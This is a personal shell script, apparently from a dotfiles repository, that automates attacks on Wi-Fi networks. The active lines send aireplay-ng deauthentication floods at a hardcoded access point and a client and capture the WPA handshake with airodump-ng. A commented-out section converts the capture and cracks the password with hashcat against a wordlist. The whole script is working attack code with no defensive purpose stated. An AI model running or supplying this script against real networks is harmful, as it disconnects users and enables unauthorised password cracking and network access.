update for migration
[dotfiles_afify.git] / .scripts / air_crack.sh
blob2254d412cccf3ca79c6ceacb359ab2853006ad07
1 #!/bin/sh
4 case $1 in
5 deauth)
6 name=$2
7 macs=$(grep -o "..:..:..:..:..:.., .*$name" "$HOME/.cache/aircrack/$name-01.csv" | tail -1)
8 bssid=$(echo "$macs" | awk '{print $8}' | grep -o "..:..:..:..:..:..")
9 client=$(echo "$macs" | awk '{print $1}' | grep -o "..:..:..:..:..:..")
10 sudo aireplay-ng --deauth 10 -a $bssid -c $client wlan0mon --ignore-negative-one
11 exit;;
12 esac
14 tmpdir=$HOME/.cache/aircrack
15 [ -d "$tmpdir" ] || mkdir "$tmpdir"
16 if ! cd "$tmpdir"; then exit;fi
18 wordlist_dir="/mnt/data/wordlists"
19 interface=$(ifconfig | grep wlp0 | sed 's/://' | awk '{print $1}')
20 # sudo ip link set $interface name wlan0
21 # interface="wlan0"
22 mon="wlan0mon"
23 deauth_num=30
25 # sudo airmon-ng start $interface
26 # sudo airodump-ng $mon
27 # sleep 5
28 #doas pkill airodump
30 # printf "Enter the BSSID : " && read bssid
31 # printf "Enter the Channel: " && read channel
32 # printf "Enter the wifi name: " && read wifi_name
34 channel=8
35 bssid=F4:CB:52:7C:5F:C1
36 wifi_name=HW-4G
37 sudo aireplay-ng --deauth $deauth_num -a $bssid $mon --ignore-negative-one &
38 sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon
41 # shouldloop=true;
42 # while $shouldloop; do
43 # read -r "Got a handshake [y/n] ? : " deauth
44 # shouldloop=false
45 # if [ "$deauth" = 'y' ]; then
46 # echo "=> Got a handshake"
47 # elif [ "$deauth" = 'n' ]; then
48 # sudo rm $tmpdir/$wifi_name-*;
49 # echo "=> Retrying to get a handshake by Deauthenticating..."
50 # read -r "Enter the Client mac add.: " client_mac;
51 # echo "=> Deauthenticating... $deauth_num"
52 # # sudo aireplay-ng --deauth $deauth_num -a $bssid $mon --ignore-negative-one;
53 # sudo aireplay-ng --deauth $deauth_num -a $bssid -c $client_mac $mon --ignore-negative-one;
54 # sudo airodump-ng -c $channel --bssid $bssid -w $tmpdir/$wifi_name $mon;
55 # shouldloop=true;
56 # fi
57 # done
59 # # move the cap file to the cap_files tmpdir
60 # # mv $tmpdir/$wifi_name*.cap $tmpdir/cap_files/;
62 # # convert the cap to hccapx format for hashcat
63 # cap2hccapx $tmpdir/$wifi_name-01.cap $tmpdir/$wifi_name.hccapx;
65 # # remove unneaded files
66 # # sudo rm $tmpdir/$wifi_name*;
68 # # Start the hash cracking with hashcat?
69 # read -r "Start cracking now with hashcat [y/n] ? " start_hashcat
70 # if [ $start_hashcat == "y" ]; then
71 # hashcat -m 2500 $tmpdir/$wifi_name.hccapx $wordlist_dir -o $tmpdir/hashcat-result-$wifi_name.txt
72 # echo "=> If recovered the file will display"
73 # cat $tmpdir/hashcat-result-$wifi_name.txt
74 # else
75 # echo "=> Your captured file at $tmpdir/results"
76 # fi